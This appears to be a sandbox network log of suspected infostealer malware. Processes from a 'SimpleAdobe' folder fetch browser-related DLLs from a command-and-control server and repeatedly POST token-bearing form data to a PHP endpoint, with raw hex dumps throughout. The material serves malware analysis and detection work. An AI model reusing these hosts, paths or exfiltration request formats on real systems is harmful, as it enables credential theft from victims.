May 24, 2024 09:42:27.124990940 CEST	94	OUT	GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:27.346975088 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
May 24, 2024 09:42:27.347084045 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
May 24, 2024 09:42:27.347387075 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 09:42:30.790757895 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBF Host: 185.172.128.170 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:42:31.024683952 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:42:31.777441025 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE Host: 185.172.128.170 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:42:32.133372068 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:42:33.044843912 CEST	561	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.172.128.170 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 [TRUNCATED] Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file"------EBGDAAKJJDAAKFHJKJKF--
May 24, 2024 09:42:33.295124054 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:42:36.991883993 CEST	561	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.172.128.170 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 [TRUNCATED] Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file"------KJEHCGDBFCBAKECBKKEB--
May 24, 2024 09:42:37.215751886 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49843	5.42.66.10	80	7092	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:38.183911085 CEST	205	OUT	GET /api/bing_release.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10
May 24, 2024 09:42:38.897303104 CEST	261	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 61 72 72 79 33 31 33 Data Ascii: harry313

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49857	185.172.128.170	80	4048	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:43.513468027 CEST	94	OUT	GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:44.050398111 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:43 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
May 24, 2024 09:42:44.052505970 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
May 24, 2024 09:42:44.056474924 CEST	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
May 24, 2024 09:42:44.060569048 CEST	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
May 24, 2024 09:42:44.060585976 CEST	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
May 24, 2024 09:42:44.068643093 CEST	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
May 24, 2024 09:42:44.068659067 CEST	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
May 24, 2024 09:42:44.068674088 CEST	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
May 24, 2024 09:42:44.076725960 CEST	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
May 24, 2024 09:42:44.080008030 CEST	552	IN	Data Raw: f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff ff 31 c2 89 d0 0f a4 c8 10 0f ac ca 10 89 95 64 ff ff ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d Data Ascii: ]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]
May 24, 2024 09:42:44.080024958 CEST	1236	IN	Data Raw: 8b 95 5c ff ff ff 01 d0 89 45 b8 8b 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff Data Ascii: \E]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U
May 24, 2024 09:42:45.331882954 CEST	94	OUT	GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:45.529124975 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:45 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
May 24, 2024 09:42:48.068619967 CEST	95	OUT	GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:48.269090891 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
May 24, 2024 09:42:49.209959030 CEST	91	OUT	GET /8420e83ceb95f3af/nss3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:49.411186934 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:49 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
May 24, 2024 09:42:51.100716114 CEST	95	OUT	GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:51.306178093 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:51 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
May 24, 2024 09:42:51.629029036 CEST	99	OUT	GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 09:42:51.866537094 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:51 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
